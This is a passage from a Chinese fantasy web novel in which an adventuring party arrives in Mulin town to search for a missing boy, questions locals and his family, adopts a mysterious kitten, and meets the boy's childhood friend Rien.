“他有弟弟妹妹?”妮娜问,“那到时候可以去问问他们?” “问问当然可以。”艾伯特说,“不过要做好心理准备,维特今年16,但是他最大的妹妹也不过八岁,就算能问出来什么,也不一定能得到准确的信息。” “也有可能完全不知道。”诺曼插嘴,“我弟弟妹妹就从来不对我做的事情感兴趣,真可惜。” 梅茜在这方面没什么看法,她是独生女,父母除了他之外也没有别的子嗣。 只是看着阿方索认真听讲的样子,她忽然玩心大起。 梅茜看向阿方索的眼睛,将指尖搭在一起,放在胸前。 “小阿方索?” < p>“嗯?” 精灵明显没想到会有人叫到自己,但还是乖乖应了声。 “你十八岁,我一百一十二岁。我比你大。”善魔循循善诱。“所以,你该叫我什么呢?” 精灵愣了一下,随后形状优美的薄唇抿起,看的出来是在极力思索。 梅茜虽然纯粹是开玩笑,但是也确实生出来几分期待。 让一个精灵叫姐姐,以后说出去,也是一个相当有趣的谈资了。 最终,精灵似乎终于下定决心,他缓缓抬头,吐出来了两个字。 “阿姨。” 阿姨。 这两个字出口的瞬间,妮娜的表情在有一瞬间变得相当微妙,她默默移开视线,似乎开始欣赏窗外的风景。 艾伯特没绷住,用手指死死抵住嘴唇,他猛地低下头,假装在十分认真地深度思考。 诺曼把脸埋在掌心,肩膀剧烈颤抖就这样,愣是没发出一点声音。 精灵的神情可爱又可恨,梅茜怒极反笑,表情相当精彩。 “其实不该叫阿姨的,梅茜,”诺曼一本正经,“你们俩差了快一百岁,阿方索叫你奶奶才合适。” 梅茜没理他,只是抬手打了个响指。 声音刚落,一抹紫光就缠上了诺曼的脖子,向上封住了他的嘴。 “不会说话,你就不要说话了。” “唔唔唔,唔唔唔唔唔!” 诺曼疯狂地摆手道歉,他说不出话,喉咙中传出的全是奇怪的声音,只能不停地作揖,表示自己再也不敢了。 看着诺曼差点就要跪下了,善魔才懒懒地收回手,把封印解开。 “跟你这种没活多久长生种真是说不清。”梅茜看向阿方索,语气无奈,但又带着一丝笑意。 算她自作自受,梅茜也没有真的生气,只是忍不住吐槽了一句,“不知道你家里人怎么愿意让你出来的。” 阿方索歪了歪头,梅茜知道他不一定理解,也就没有追问。 “对了,报酬真的是一百金币吗?即使经商,数目也不少啊。”诺曼忽然开口,“那家人真的付得起吗?” “那就不知道了。”艾伯特摇摇头,“有冒险家公会的前台担保,应该没问题。” “而且既然接下委托,我们只需要完成认真好,其他的先放一放吧。” “资料大体详尽,但一些具体的细节还需要到木林镇之后,找到尼尔利家确认一下。”梅茜说,“比如他失踪之前见过哪些人,在研究什么,有没有什么特殊的事情,这些都很重要。” 诺曼明显还有话没说完,不过梅茜开口,他也就不说了,只是耸了耸肩。 管他呢,反正诺曼从来没有真的想靠接委托来挣钱,他真正想的钱早就已经收完了,其他的都是锦上添花。 车厢缓缓停下,隔着木质的门板,骝马的嘶鸣从厢外传来。 “哟,到了啊,比我想象的快。”诺曼挑眉。 “运气不错。”梅茜掀开车帘,“没遇到什么岔子。” “总算到了,这位置坐的我腰酸。”妮娜抱怨道。 “到了。” 精灵站了起来。 艾伯特也随着起身,他扫视了一圈车厢,发现大家也都正看着他。 他深吸了一口气,年轻英俊的少年笑容舒朗,紫色如同从未磨损的水晶一般的眼眸闪闪发光,在此刻,盈满了对未来的期待与热情。 艾伯特把手搭在心口,感受到自己的心跳,真实而有力。 至少此刻,他展露出的,是真心的笑容。 “各位,木林镇到了,该下车了。” “也是时候,准备开始我们第一个委托了。” 8. [锁] [此章节已锁] 几人进入木林镇的时候,天色已近黄昏,斜阳洒下余晖,映照出大地的金黄。 镇子规模不算特别大,但生活氛围看起来却相当不错。 不同年龄,不同种类的人们和非人在此聚集,他们不断争吵,和解,最终生活一起。 一天的忙碌过后,正是放松的时刻。 不远处的摊铺边,身着彩铃的兽耳少女在街边铺的地毯上跳舞。 她踮起脚尖,轻巧地转了几圈,引来旁边路人的一阵喝彩。 阿方索看向那边,眼神在她手腕的铃铛停住片刻。 不经意间,艾伯特不知何时走到面前,挡住了他看向那边的目光。 “我们应该需要再走一段路,资料上说尼尔利家在小镇的南边。”艾伯特对上阿方索的视线,温和地微笑。 他将地图展开,交给身边的人,阿方索回过神来,伸手接过,垂下眼帘查看。 尼尔利家确实在镇子的南边,几乎在最边缘的地方,和地图上显示他们现在的实时位置有一段距离。 而镇子的南边,正好就是维特所失踪的失语密林。 “失语密林……之前在书本上读过。”梅茜开口,“传说曾经有个阶段,进入密林的人都会被施下口不能言的诅咒。” “但是因为时间久远,这个说法也只是传说而已罢了,知道传说的人都寥寥无几,现在的人们,大多都只是将它当做普通的森林看待,目前也没有什么进入的人真的失语的案例出现。” “那会不会遇到了什么危险?难缠的魔兽?”妮娜问道。 “不见得,如果那个兽人少年真的有付得起这笔钱的实力,普通的魔物也奈何不了他。”诺曼摇了摇手指。 “除非……” “除非,他遇见了预料之外的事情。”艾伯特若有所思。 精灵跟着他点了点头。 “事到如今,只能去问问尼尔利的家人了。”梅茜沉吟片刻后说道,“路上顺便问问看有没有什么别的线索。” 精灵似乎思索了一下,随后,他扯了扯艾伯特的袖子。 “怎么了吗?”艾伯特轻声问。 “那个,转圈。”精灵的视线越过艾伯特的肩头,手指微微抬起。 几人的注意力不约而同地流向刚才的那个舞者。 那个女孩没有注意他们,正低头给周围的孩子们分发糖果,低声说着什么。 只有艾伯特没有回头,他垂眸看着阿方索,一动不动,小声问:“她有问题?” “铃铛。”阿方索言简意赅。“味道,奇怪。” “你怎么闻到?”妮娜奇怪。 “精灵天生有植物亲和,可能是铃铛曾经触碰过相关的药剂或者香料。”善魔眯起眼睛。 她抬起脚步,“走吧,去问问,别太大惊小怪,搭上话就行。” 几人靠近的时候,少女刚好分完糖果,拍拍手站了起来。 “你好,刚才你跳的舞是林地舞吗?”善魔笑容可掬,“跳得真好,我之前在西方也看见过类似的,你和他们跳的真像。” “啊,有吗?”少女的脸颊飞上一抹红晕,语气雀跃,“没想到您能看得出来,我去年和父亲去王都,刚好碰见了巡演的人群,随便跳跳。” 她的手指牵起了裙摆,高兴地转了一圈。 “不过,你们有些面生呢?是新来小镇的吗?” “是的。哪个,请问您认识维特尼尔利吗?我们有些事,想要找他。” 艾伯特看气氛正好,趁热打铁开口询问。 “哦,这样啊。”少女歪了歪头,“维特·尼尔利?你们也是来找他的吗?” “也?”诺曼插话。 少女点点头,算是回应。 “找他的人一直很多,很正常的。尼尔利懂一些草药方面的东西,我也不太清楚啦,反正似乎卖的很好的样子。” “我跟他不熟啦。他长得挺好看的,可惜是个怪人,每天都神出鬼没的。”少女摇摇头,“他每天在哪,只有利恩知道。” “利恩?”艾伯特疑惑。 “咦?”少女瞪大了眼,比他更加不可思议,“你来找尼尔利,但是不知道利恩吗?” “他是格林家的孩子,从小和尼尔利一起长大,比他大两岁,也是家里的长子。” “两家住得很近,我铃铛上的香水就是托利恩找尼尔利买的。” 少女点了点腮,努力回想。 “利恩性格倒是很好啦,平时对谁都很有礼貌,不过这几天,好像确实没怎么看见他。” “不过,他们俩嘛……嗯嗯……有些事情,我也不太好说。” 少女眨了眨眼,有些欲言又止。 “他们俩怎么了吗?”妮娜好奇。 少女朝她wink了一下,露出懂得都懂的笑容。 “我也不好说太多哦,毕竟我也不确定。” “不过他们的关系真的很好哦~要是想找到尼尔利,找利恩总没错啊。” 少女愉悦地原地跳了两下。 冒险团对视几眼,艾伯特走上前,将一小袋银币递给少女。 “一点心意,见谅。” 少女接过钱袋,却没有立即收下。 她打开了袋子,从其中拿出了两枚银币,又把剩下的系紧,抛了回去。 “谢啦,但是这种小事就没必要给这么多了。这些正好来给孩子买糖果,小洛特他们天天要,我也没什么存货啦。” 钱袋飞了个完美的抛物线,最后,准确地落到阿方索手里。 阿方索下意识接住,抬头看向少女。 少女笑意盈盈,“小哥,我看你都不说话,还穿得这么严实,是不是有什么秘密啊。” 阿方索看了看手中的钱袋,又看了看她。 艾伯特急忙解围,“没有,我朋友没有别的意思,他只是不太擅长说话。” 精灵点点头。 “我,不擅长,说话。”他的声音有些迟涩,但很认真,“你,跳舞,好看。” 少女莞尔一笑。 “那就好,多说些话吧,你的音色多好听啊。”她声音轻快,“毕竟,你都有这么多朋友啦,一天到晚闷个头多没意思呀。” “嗯。”精灵点点头,“朋友。” 艾伯特听见,心里一暖。 “那个,”他等阿方索说完,才开口,“如果没事的话,我们就先走了?” “好啊,祝你们路途顺利。”少女愉悦地挥了挥手。“要是有时间,欢迎再来看我跳舞啊。” 尼尔利的家并不算多么奢华,只是普通的两层小楼,台阶有些老旧,但砖块上的水泥还算干净,看起来修缮过不久。 前面的小院倒是能看出来主人精心打理过,被木栏围着,长着一些蔬菜和普通的草药,时不时还有不知名的小花冒出头来。 艾伯特走上前,敲了敲木板门。 没多久,门打开了,一个猫耳女孩小心翼翼地探出头,打量着他们。 “你们是……?”她怯怯地问道。 艾伯特蹲下身,尽可能语气温柔。 “我们是曙光冒险团,来完成寻找你哥哥的委托的。” 女孩一听到哥哥两个字,眼睛瞬间一亮,尾巴也不自觉翘起来。 “爸爸妈妈!”她转过头,语气兴奋地喊,“找哥哥的人来了!” 屋内传来了急切的脚步声,一位妇女急匆匆来到门前,她穿着棉质的连衣裙,头发盘起,身材看起来还算健康,可面容却有些憔悴。 “您好,我是米莉·尼尔利,是维特的妈妈,麻烦您们这么远赶过来了。”米莉擦了擦眼角的泪水,急忙打开门,“快进来说吧。” 几人在客厅里的木椅上一一落座。 艾伯特不动声色地打量了一番,屋内的摆设不算特别华丽,甚至不算特别整洁,但看起来温馨,是真正生活的地方。 “维特他……做的生意比较灰色,他嘱咐过我们,无论何时都不能过于招摇。” 米莉压低声音说,“所以,我们只能拜托城里的人,帮忙发布了这份委托,暗自寻找可以托付的冒险团。” 大家不约而同地想起那个笑眯眯的前台。 原来,他们是可以托付的冒险团吗? 那看来尼尔利家真是拜托错人了哈哈。 不过谁也没说话,来都来了,不能自砸招牌。 几人询问了一些信息,大致了解了情况。 “那个,虽然有点冒昧,但是还是问一下,您丈夫呢?”诺曼小心翼翼地开口。 “他平日里在田里工作,现在正是播种的季节。利恩在帮他,有时间时,他们就在附近寻找维特的踪迹。” “利恩是维特的好朋友,这次委托他还主动提出要提高一部分委托金,他来支付。” “可是维特这孩子,现在还不知道在哪。”说着,米莉又几欲落泪,“现在只有爱丽丝知道维特不见了,艾尔和艾米还小,还不知道维特失踪了。” “那利恩现在在哪?” “就在南边的田地附近,离这里很近,你们有地图吗?我可以画出来。” “那就麻烦您了,”艾伯特递出地图,“请您也不要太过忧虑,今夜我们会整理一下信息,明天就正式开始寻找。” 酒馆角落的一个圆桌,冒险团正围坐在一起。 虽然是酒馆,但只有诺曼真的点了啤酒,梅茜不喜欢在睡前喝酒,说是影响睡眠。 妮娜和艾伯特刚毕业不久,都没有喝酒的习惯,妮娜点了杯果汁,艾伯特则要了杯清水。 在询问后阿方索是否对牛奶过敏后,艾伯特把一杯牛奶推到了阿方索面前。 阿方索触碰了下杯壁,温度刚刚好,他浅尝了一小口。 甜甜的,好喝。 “所以,目前线索只有这些了?”妮娜问道。 “目前看来,只有这些了。”梅茜看向诺曼。 “算了算了,”诺曼喝了口酒,“要是真的找不到,我就找个朋友外包出去好了,总不能让人真丢了啊。” “可是也不能这么放弃啊,”艾伯特有些着急,“说不定明天找到利恩就有办法解决了呢?” “我当然也希望,可是得找到线索再说啊。”诺曼耸耸肩。 “那个。”阿方索忽然开口,大家都看向他。 “我……有东西。”精灵慢吞吞地说。 “什么东西?”妮娜的双手支在桌子上,身体向前倾。 艾伯特听见妮娜的语气,拧了拧眉。 “妮娜,别那么急。” 他语气有些生硬,妮娜哼了一声,没理。 “阿方索,你发现什么别的信息了吗?” 艾伯特看向阿方索,询问道。 即使顶着众人灼灼的目光,阿方索的动作依旧不紧不慢。 精灵摸了摸自己的斗篷内部,手忽然顿了一下。 最终,他提起了一个毛茸茸的东西,拎了出来。 是一只猫。 看起来很小,不过三四个月的样子,毛色是狸花带白,尾巴尖混杂了一点黑色。 一下子被拎了出来,有些不满地“喵”了一声。 “好小一只!”妮娜捂住了嘴。 梅茜挑眉。 “还挺好看的。”她点评道。 “看起来不像品种猫……”诺曼仔细打量,“不过确实挺可爱的哈。” 艾伯特看着阿方索的动作,心思却不在猫上。 他看着精灵的手指弯曲,指节微微凸显,用力得恰在好处,很有分寸感,既不会弄疼猫咪,也不会让它逃脱。 白皙的皮肤陷在花色的毛发里,显得更加具有吸引力。 如果掐的是自己就好了,好想代替那只猫被阿方索触碰啊。 等等,不对…… 艾伯特感到脸部温度上升,紧急逼停脑子里的胡思乱想。 他抓了抓头发,绝望地叹了一口气。 “不是,哪来的小猫啊???” 9. 浅光 “唔?”精灵略微思考了一下,随后看着艾伯特的眼睛,回答道,“刚才,摸到的。” 旁边三人听到这话,脸色也变得相当精彩。 妮娜忍不住拧眉,梅茜眯起眼睛,诺曼摸了摸下巴上的胡茬,“嘶”了一声。 什么叫做才摸到的,难道刚才一路上一点感觉都没有吗? 不过这猫是什么时候出现的?不仅阿方索,就连冒险团的其他人也都没有察觉,不应该啊? 但艾伯特没有说话,他与那只猫对视了几秒,深吸一口气,终于恢复了平静。 在情绪剧烈的波动后,艾伯特支起小臂,撑着下巴,做思考状。 “所以,这只小猫,能给我们什么线索吗?”他最终开口,声音有些颤抖,但还算镇定。 “不知道。”精灵流畅地回答。 艾伯特没有回答,他沉默了片刻,然后张口。 “那就留下吧。” 不是,这就接受了? 妮娜瞪大了双眼,虽然她也对这种小动物颇有好感,但是这么草率就决定了吗? 这个冒险团里还有正常人吗? 如果一个神经病能变成一瓶魔药的话,这里简直是魔药铺好吗? “啊,这就留下了吗?”诺曼有些惊讶。 妮娜松了口气,她就说,不可能一个都…… 阿方索没说什么,反倒是艾伯特莫名其妙地看着诺曼,向他摊了下手。 “不然呢?捡都捡了。” “反正也不会吃太多吧。”少年自然地回答。“应该养得起,实在不行以后我的伙食费分他一些。” “也行。”诺曼一想到这点,用了0秒钟就接受了养猫这件事。 妮娜那一口气没上来,差点背过气。 原来只是担心经费问题吗? 没想到诺曼不仅没有一点争取,还趴在桌子上,伸出手试图勾引小猫。 “要不然把这小猫改名叫尼尔利怎么样?”他突发奇想提议道,“或者维特?反正两个都是猫,这不就找到了。” 猫儿因为被揪着后颈无法挣脱,但面对面前邪恶的大手,还是倔强地伸出爪子,推了出去。 “不太好吧,”梅茜犹豫道,“要是让委托人听见的话,容易产生误会。” 精灵动了动嘴唇,似乎想要说些什么,但是还没来得及发出声音,就被妮娜给打断了。 “等一下!”少女没好气地拍案而起,她秀美的眉毛拧在了一起,琥珀色的眸子瞪向一旁还提着猫的精灵。 妮娜叉腰看着阿方索,语气带着不满。 “既然没有用的话,那你拿出来干什么,故意给大家添麻烦吗?” “妮娜。”梅茜出声。 妮娜噎了一下,看见艾伯特抿起的嘴角,也意识到自己冲动,但是自尊心作祟,不想低头道歉。 她憋了一口气,扭过头,愤然坐下,眼角泛起一点水光。 诺曼还想打哈哈,被梅茜按住了肩膀。 “有摩擦很正常,”她用魔法传音,“让他们自己处理,插手反而容易弄巧成拙。” 诺曼欲言又止,但还是收回了嘴边的话。 精灵也看向妮娜,没说什么,只是轻轻把小猫放在桌子上。 猫儿倒是很乖,一被放下就在桌子上坐下,尾巴一绕,抬头打量着周围环境和人。 精灵其实,他把手放回膝盖上,静静看着妮娜的脸,碧绿的眼眸清可见底。 “他……在我斗篷里边。”阿方索一字一句地说道,“没发现,不应该。” “所以,有东西,掩盖他。”他费力地组织语言,但声音清晰。 “线索,不清楚。”精灵的手抚上胸前的吊坠,“但是,有问题。” 妮娜顿了一下,默默转过头。 诺曼松了口气。 这两个一个是贵族大小姐兼金主,一个是实力强大的精灵,这俩要是真计较起来,哪个他都惹不起。 和气生财,和气生财。 “而且它没吃饭。”精灵补充。 在这种话上倒是说的格外利索呢。 “这样啊。”艾伯特的表情变得严肃。 “隐藏行迹的办法就那几种。”梅茜认真观察着正在舔毛的小猫,猫儿似乎对他们的讨论毫无兴趣,自顾自悠闲地整理自己。 “除了天生的特性,只有三种。” “魔具,法术,还有……药剂。” 大家不约而同想到第三种上。 “所以,说不定是谁给我们留下来的信息?”诺曼收起了懒散,变得正经起来。 “这猫不像是魔兽,但是也不一定。”艾伯特沉声道。“说不定是什么变异生物。” “但是他这一路上都没有半点动静。”诺曼提出异议,“它要是真的有攻击性,会忍到现在?” “目前也只能留下来看看了。”梅茜开口道。 “也是,”诺曼绷不过三秒,他笑嘻嘻地逗了一下小猫,尝试去勾小猫的尾巴,缩手慢了些,立即被咬了一口。 “刚才我还说你没攻击性呢?能不能温柔点?”诺曼呲牙咧嘴地收回手,抱怨道,“这猫怎么这么凶啊?” “谁叫你手贱。”梅茜开口,她伸出手,放在小猫面前。 小猫闻了闻,轻轻蹭了一下善魔纤细的手指。 “我手贱?现在我这种成熟又稳重的男人很吃香好吧?”诺曼哼哼。 “年纪大就年纪大,还成熟系。”艾伯特吐槽。 “你就别说了好吧,你也没谈过恋爱。”诺曼强行挽尊,尝试转移话题。 “名字要是不叫尼尔利的话,那要不然叫什么?花花?咪咪?” 诺曼尝试叫了几声,猫儿理都不理。 阿方索忽然开口,尝试地开口,声音很轻,他叫: “……尼尔利?” 小猫翘起了尾巴,娇娇地“喵”了一声。 “他真的答应这个名字诶。”诺曼稀奇。 “说不定他只是答应阿方索。”梅茜眯了眯眼,笑着说。 诺曼已经习惯被打击了,他眨眨眼,说:“所以,那叫什么啊?” 艾伯特被诺曼揭了老底,耳根一红,他下意识看向阿方索,却发现精灵正看着小猫,似乎没有注意到诺曼话里的信息。 他莫名有点失落,精灵却似乎注意到他的视线,抬眼看向他。 艾伯特脸一红,思绪混乱。 他连忙低头假装看猫,嘴里接了诺曼的话,只是语气有些虚浮。 “……还是叫尼尼吧。” 精灵点点头,说:“尼尼。” 猫儿又喵了一声。 “行。”诺曼乐了,他看了眼旁边表情微妙的妮娜,打趣道,“我们队里有两个尼尼呢。” 艾伯特这才反应过来,他没想到尼尼和妮娜这一点,被阿方索看的说话没过脑子,现在诺曼点出才发现。 妮娜的脸微红,心情转晴,有些愉悦地拿起桌上的果汁,抿了一口。 艾伯特看着这一幕,抽了抽嘴角,有点烦躁,又有点膈应。 他完全不想和她有一点暧昧,但这句话不是妮娜的问题,是他自己说出来的。 他不能收回自己说出去的话,但也不愿让别人误会。 “那个,抱歉,我没想到名字这件事。”艾伯特开口。 妮娜的表情瞬间瞬间变得黯淡,诺曼有些不满地皱了皱眉。 臭小子。 又怎么了,好不容易给这个哄好了,给个台阶下就得了,你又来这出。 艾伯特注意到了他人的异样,但是并没有停下。 “要不然——” “妮妮。” 艾伯特话说到一半,另一个声音从旁边传来。 是阿方索。 精灵神情平静,话语没有半分波澜,他的眼睛明显看着妮娜,这一声具有明显的指向性。 那一刻,艾伯特忽然福至心灵,他忽然意识到一件事。 阿方索不是专门打断他,也不是想故意解围。 他单纯是刚刚反应过来罢了。 好可爱。 能不能也这么叫他啊,艾艾伯伯特特沃沃德德都行,他不挑。 谁也没想到精灵会突然来这一手,妮娜反应过来后,脸红得要滴血一样。 她指着阿方索,结结巴巴地说:“谁、谁允许你这么叫了?!” 少女的脸红抵得上一万句话。诺曼想。 就是不一定是好话就是了。 “而且我的小名不是这个好吧!” ?重点是这个吗? 诺曼差点一口酒喷出去,猫儿退后避开,艾伯特也侧过了身子,梅茜摆出了嫌弃的表情。 精灵看着他,一脸无辜。 诺曼稳住身子,强作从容地擦了擦脸上的酒渍。 “哎呀,阿方索,我们这里不能随便这么叫别人名字的……”诺曼无奈地解释,又赔上笑脸, 转向旁边抱胸的少女,“妮娜,你也别在意,阿方索不懂得……” 妮娜脸还红着,她低下头嘟囔道:“乡巴佬。” 艾伯特刚要起身,却发现脚步无法动弹,他猛地转头看着梅茜,发现梅茜也在看着他。 “阿方索都没急,你急什么。”脑中的声音有些无奈。 “他说不定都听不懂……”艾伯特咬牙。 “那更好。”梅茜语气冷静,“妮娜就是这样的人,你还不知道吗?” “别闹太僵,你是团长,艾伯特。 艾伯特有些不甘,但是很快,他发现自己手也动不了了,也发不出声音。 梅茜暗暗叹了一口气,现在的年轻人啊。 刚才还是点一杯啤酒好了。 “也不能这么说啦……”诺曼干笑两声,“尼尼还没吃饭吧,我给它弄两条鱼去,天色不早,大家也早点休息吧啊。” “妮娜,你和我一起回去吧,自己一个人不安全。”诺曼招呼道。 他捞起小猫,也是奇怪,那只猫居然没有挣扎,乖乖被他捞走了。 妮娜提起裙摆,快步离开了。路过阿方索身边时,她重重哼了一声。 直到妮娜的身影消失在门口,梅茜才收回了魔力。 艾伯特一被解放,就站起身。 “梅茜——” “好了好了。”梅茜抬手,“我刚才错了还不行吗。” “那你也不能这样。”艾伯特反驳。 “不然呢?”梅茜在桌面上画了个圈,“让妮娜没完没了?” “那她也不能这么说阿方索。”艾伯特坚定道。 “是的。”梅茜看向一旁默不作声的精灵,放轻声音,“阿方索,对不起,妮娜她刚才冲动了。” 阿方索看着两人的视线,摇了摇头。 “我,说错。”精灵整理了一下自己的斗篷,“下次,小心。” “但,”阿方索顿了顿,“祖地,很好。” “当然,妮娜太冲动了,她……没有特指你家乡的意思。”梅茜解释。 但是有特指你的意思。 这句话,她没有说出口。 她只是说:“该回去了。” 艾伯特没有动,他说:“我和阿方索一起。” 梅茜知道拗不过他,叹了口气,起身离开了。 善魔离开后,酒桌上只剩他们两人。 艾伯特看着阿方索安静捧起杯子的样子,酸涩莫名爬上心头。 “对不起……”他喃喃道,“我是不是很没用?总说错话,做错事,还那么弱小……” 他以为自己声音很轻,但是对面的精灵还是听到了。 阿方索放下了杯子。 “你很好。”精灵说,他歪了歪头。 “尼尼……名字,可爱。” 听到这个回答,艾伯特直直看着他,没有回答。 这是年轻的团长听过最不像安慰的安慰,阿方索只是说了一个在他眼里的客观事实。 但是…… 艾伯特没有回话。 过了一会,他把双臂曲起,放在桌子上,然后他把半张脸埋在了里面。 垂下的藻绿长发如同藤蔓,掩住少年的另半边脸,剩下一双紫色的眼睛,也被遮住大半,看不清表情。 “你喝吧。”他声音发闷,“等你喝完,我们一起回去。” “嗯。” 精灵端起杯子,继续喝起来。 离开酒馆时,街上已经空无一人。 今晚没有月亮,只有天空中几颗星子闪烁,格外耀眼。 微风徐徐拂过脸颊,也撩起并肩人的鬓发,耳边的金环映出浅光。 那一瞬间,艾伯特希望这条路可以长一点,再长一点。 就长到他能记住那点光的样子,长到那抹金色能映入他的命运。 不知不觉,两人已经走到预定的酒店门口,他们进入大堂,走上楼梯,在一个房间门前停了下来。 是阿方索的房间,艾伯特的在他隔壁。 艾伯特停下脚步,转过身站到阿方索面前。 “现在很晚了,你早点休息吧,不要太累。” “明天见。”艾伯特微笑着说。 他抬起手,对面前的精灵摆了摆。 “嗯。”精灵也对他微微一笑,零落的几根碎发抚过脸颊。 阿方索也学着艾伯特的样子,对他挥了挥手。 “明天见。” 10. 竹马 第二天早晨,艾伯特正坐在床上发呆,他摸了摸耳垂上血红色的耳钉,脑海中想着的却是昨晚星光下的金环。 忽然,房门传来了一阵急促的敲门声。 艾伯特一惊,他下意识跳起,用平生最快的速度收拾好了自己。 “早上好……诺曼,是你啊。” 艾伯特拉开门时脸上还挂着笑容,一看清来人,笑意瞬间淡下去一半。 诺曼扯了扯嘴角,无语,但似乎并不惊讶。 虽然希望落空,不过看见面前人疲惫憔悴的模样,团长最终还是没有关门。 诺曼的眼神带着淡淡的死感,带着诡异的平静注视着他。 “你眼睛……昨晚发生什么了吗?”艾伯特忍不住开口询问,“不是开的单人间吗?你房间里也有狼人唱歌?” “有猫跑酷。”诺曼面无表情地伸手到背后,撕下来一条毛茸茸。 尼尼在他手中不断扭动着,试着逃脱,发出不满的叫声。 少年看着一人一猫,嘴角抽搐了一下。 “早饭喂过了。”诺曼垮下了肩,双手把猫举到艾伯特面前,“赶紧拿走,给谁都行。我得去弄杯咖啡提提神,不然今天得困一天。” 都到这里了,还能给谁。 艾伯特打量了一下尼尼,说:“你等我一下。” 他转头回了房间,没一会,艾伯特捧着一条厚毛巾走了出来。 他隔着毛巾,小心翼翼地摸了摸尼尼,小猫的挣扎小了很多。 趁尼尼爪子勾住毛巾,艾伯特迅速地把它包了起来,轻轻提了过来。 两人都松了一口气,艾伯特低下头调整毛巾,既不让猫挠着自己,也不让尼尼待的太难受。 不久后,猫儿安静下来,艾伯特一抬头,发现诺曼已经不知何处了。 应该是喝咖啡去了,跑路的速度真快。 ……行吧,既来之则安之。 艾伯特抱着猫,摇了摇头,他转身关上门,回了房间。 走到书桌前,少年低头看了看,与猫儿琉璃般的眼睛四目相对。 艾伯特把它放在一边,尼尼坐在桌子上,大眼睛一眨不眨地看着他。 “你眼睛还挺好看的。”少年自言自语,虽然对着猫咪,但眼神落在更远的地方,“不过,没有他的好看。” 说着,他不知道想到什么,嘴角上扬,又看向尼尼,垂眸微笑。 “……一会,带你去找阿方索好了。” 提到那个名字,少年的语气明显变得温柔起来,带着几分愉悦。 尼尼叫了一声,艾伯特笑了,“你也喜欢他吗?” 他伸手,拎起后颈,把尼尼提到自己眼前。 “喜欢他,真是很正常的事情呢。” “不过,我希望他不要太喜欢你。”少年紫色的眸子明明还带着笑意,但是尼尼莫名感到一阵恶寒。 “毕竟虽然没差太多,但是你还没有我认识他久嘛。”艾伯特笑了笑,“应该他还是更喜欢我一点吧?” 说完,他又恢复了开朗的模样,艾伯特把猫放在了肩膀上,仿佛刚才的一切只是幻觉,还哼起了歌。 尼尼有气无力地喵了一声。 哪来的变态啊?变脸也太快了吧,谁要和你比这个。 他只是一只普通的小猫罢了啊喵。 艾伯特没有在意尼尼的反应,他哼着歌,把昨晚资料整理在一旁,合起桌面上的日记,锁好,又把一些必备品放进背包。 最后,少年把剑别在腰间,对着镜子照了照,满意地一笑,他推开房门。 “走啦。”他轻快地说。 路过阿方索房门时,艾伯特看见了上面的“已外出”。 他有点失望,又没能一起去餐厅了。 但是没关系,以后还会有很多机会的。 艾伯特加快了脚步,径直下楼,来到了一楼的餐厅。 在餐厅的角落,他看见了阿方索和其他三人。 诺曼看起来精神了些,手舞足蹈不知道在说些什么,妮娜低头拿着刀叉切着盘子里的培根,梅茜一边喝咖啡一边听着诺曼的抱怨,时不时接两句话。 阿方索正低头喝着面前的汤,还是安静迅速的样子,他依旧披着那件披风。 还是奶油蘑菇汤啊,看来阿方索真的比较喜欢这个口味,有空和诺曼学下怎么做好了。 梅茜看见他来,朝他挥了挥手,“早啊。” “早上好。”艾伯特也笑着回应,他自然地走到阿方索身边坐了下来。 “早餐怎么样?”他轻声问道。 “好。”精灵咽下口中的食物,回答道。 “那就好。”艾伯特在他手中的勺子上停了几秒,又若无其事地离开。 “对了,以后如果想摘下兜帽,也没关系。”艾伯特忽然想起,“冒险家公会那边登录你的信息之后,会进入一段时间的公示期,事情总是瞒不住的。” “只是人太多的地方,最好还是注意一下。”他叮嘱道。 精灵认真的点了点头,头上的羽饰微微颤动,继续低头喝汤。 艾伯特看着他这样,笑了,他拿起面前的面包咬了一口。 尼尼一看见阿方索,立刻就跳了过去,落在精灵的怀里,又跃上肩头。 “阿方索。”艾伯特忽然叫他。 “唔?”精灵抬头。 尼尼刚站稳,想用头蹭了一下阿方索的脸颊,但是随着精灵转头,他只蹭到了斗篷的布料。 “没什么,就是想叫叫你。”艾伯特脸有些红,“尼尼好像很喜欢你。” “谢谢。”阿方索点点头,“它,可爱,我,喜欢。” “但,小心。”他顿了顿,又补充。 艾伯特对他弯了弯眼睛,妮娜看着他们两个眉来眼去,心里又跃上一股无名火。 但她没有说话,只是又叉了一块奶酪,塞进嘴里狠狠咀嚼。 “接下来,该去尼尔利家的谷地看看了。”等众人都放下餐具,艾伯特直起身,“还有那个利恩,他大概率有一些情报。” 早春的谷地还算广阔,不如夏季时的疯长,也不如秋季时的金黄,但别有一副初生的嫩意,禾苗还在水中冒着绿,盈盈可人。 谷地几乎遇不到什么人,阿方索难得没有披上斗篷,金色的发丝低低束在脑后,随着微风微微向后撇去。 一张精致的脸完全露在空气之中,风吹得他微微眯起眼睛,显得睫毛更加纤长浓密。 猫儿趴在他的肩头,一路上都没有跑,平增了几分生动可爱。 一路上,艾伯特就没有停止偷看过。 他觉得这很正常。一是自己心里本来就有心思,二是…… 那幅画面实在是对眼睛太友好了。 而且看的人也不止他一个,妮娜脸都红了,诺曼踉跄了好几次,就连梅茜,他都看见她时不时瞥好几眼了。 ……有些不爽呢。 但是目前他也只能受着了。 “这里应该就是尼尔利家的谷地了。” 艾伯特把手遮在眼睛上方,向远处眺望。 不远处,一道雪白的身影从田地里迈出了脚步,朝着他们这个方向快速走来。 冒险团几人停下了脚步,小心观察,心中下意识出现了之前的那个狐人前台的身影。 但和想象中不同,迎面走来的是一个犬兽人。 也有着雪白的尾巴,但是耳朵大小完全不一样,犬兽人的要更短、更钝一些,应该是品种原因。 那双眼睛不弯,也带着三分笑意,天生是亲和俊朗的容貌,几人松了一口气。 “您好,我是利恩。”那位犬兽人朝他们打招呼,看到阿方索的一瞬间,表情顿了一下,“你们是从哪里来的?” “你就是利恩吗?”艾伯特走向前去,将冒险家公会的委托令递给了他,利恩接过,拿在手中仔细查看。 “我们是曙光冒险团,目前接下了一个委托,是关于寻找维特·尼尔利。听说你和他关系很好,所以我想问问你有没有什么线索。” 趁着看委托令的时间,艾伯特对利恩自我介绍。 “这位是梅茜·帕克,是善魔,也是我们主要的向导;我叫艾伯特·沃德,是剑士;这边是诺曼·克里利和妮娜·肯特,是我们的盾卫和药剂师。我们都是人类。” “这位……是我们的弓手。”艾伯特的语速放慢,“他叫阿方索,是精灵。” “精灵啊……”利恩喃喃,他笑着把委托令送还到了艾伯特手中,“好少见,我还一直以为这是故事里编造出来的种族呢。” 